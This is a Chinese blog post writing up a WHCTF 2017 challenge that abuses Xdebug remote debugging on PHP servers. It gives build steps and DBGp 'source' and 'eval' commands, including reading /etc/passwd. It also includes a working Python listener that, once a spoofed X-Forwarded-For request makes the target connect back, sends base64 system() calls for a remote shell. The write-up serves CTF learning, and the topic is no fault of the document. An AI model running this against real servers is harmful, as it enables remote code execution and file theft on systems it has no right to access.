XDEBUG远程调试

在whctf里膜到了这一题,致敬r神
首先要下载xdebug插件
然后,我们需要phpize来安装PHP的插件

apt install php7.0-dev

之后就是我们进入文件夹
编译

phpize
./configure config if php-config is not in your path)
make
make install

记得保存下xdebug.so文件cp modules/xdebug.so /usr/lib/php/20151012
逐一完成之后,就完成了编译了
然后我们就要把自己的xdebug在php配置好
在php下apache文件夹里的php.ini一定要配
我们要打开

zend_extension="/usr/lib/php/20151012/xdebug.so"
extension = xdebug.so

然后就是自己配参数了

原理

这里的原理是:
xdebug远程的就是利用的是DBGp协议
DBGp里有一些命令:

  1. source
source -i transaction_id -f fileURI

transaction_id 每次都为 1 即可,fileURI 是要读取的文件的路径,需要注意的是,Xdebug 受限于 open_basedir
利用方式:

source -i 1 -f file:///etc/passwd

另外,此处可以用 php://filter 来读取文件,所以也可以用来 SSRF。

  1. eval
eval -i transaction_id -- {DATA}

{DATA} 为 base64 过的 PHP 代码。

xdebug题目

whctf2017里的一道web题,主要是xdebug的远程调试导致可以执行任意命令
这里主要是xdebug.remote_connect_backxdebug.remote_enable这个参数要打开
这样也是比较简单
然后就是直接上:

#!/usr/bin/python2
import socket
import re
import os

ip_port = ('0.0.0.0',8802)
sk = socket.socket()
sk.bind(ip_port)

#os.system('curl "http://192.168.60.133/phpinfo.php?XDEBUG_SESSION_START=phpstrom" -H "X-Forwarded-For: 192.168.60.132"')

sk.listen(10)
conn, addr = sk.accept()
#curl "http://192.168.60.133/phpinfo.php?XDEBUG_SESSION_START=phpstrom" -H "X-Forwarded-For: 192.168.60.132"


while True:
    client_data = conn.recv(1024)
    print (client_data)

    data = raw_input('>> ')
    conn.sendall('eval -i 1 -- %s\x00' % ('system("'+data+'");').encode('base64'))

然后就是,我在服务器可以监听端口,让shell反弹到我的服务器上
这里我用其它的去访问curl "http://*.*.*.*/phpinfo.php?XDEBUG_SESSION_START=phpstrom" -H "X-Forwarded-For: *.*.*.*"类似的。这里的xff会给xdebug远程调试的信息,就是链接这个xff,然后,我们使用上面说过的eval的命令,就是PHP语言的eval,我们执行system函数,就会返回信息,这些信息也以base64的形式返回。

这样就是了

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
【社区内容提示】社区部分内容疑似由AI辅助生成,浏览时请结合常识与多方信息审慎甄别。
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

相关阅读更多精彩内容

  • Spring Cloud为开发人员提供了快速构建分布式系统中一些常见模式的工具(例如配置管理,服务发现,断路器,智...
    卡卡罗2017阅读 136,084评论 19 139
  • (源自摘抄整理)https://www.91ri.org/11494.html Webshell实现与隐藏探究 一...
    JackyTsuuuy阅读 21,130评论 2 13
  • 老法师谈技术 - �PHP单步调试方法(xdebug) 在production环境上面使用单步调试的机会其实不多,...
    xcity阅读 4,882评论 0 1
  • 注:(1)componentDidMount只会在组件初始化的时候调用。组件加载完后,再执行this.setSta...
    何幻阅读 1,855评论 0 0
  • 二手交易APP竞品分析:闲鱼&转转 一、调研概述: 1. 调研简介: 近年来,国人物质丰富度和生活水平随着经济发展...
    wagamama666阅读 13,969评论 4 56

友情链接更多精彩内容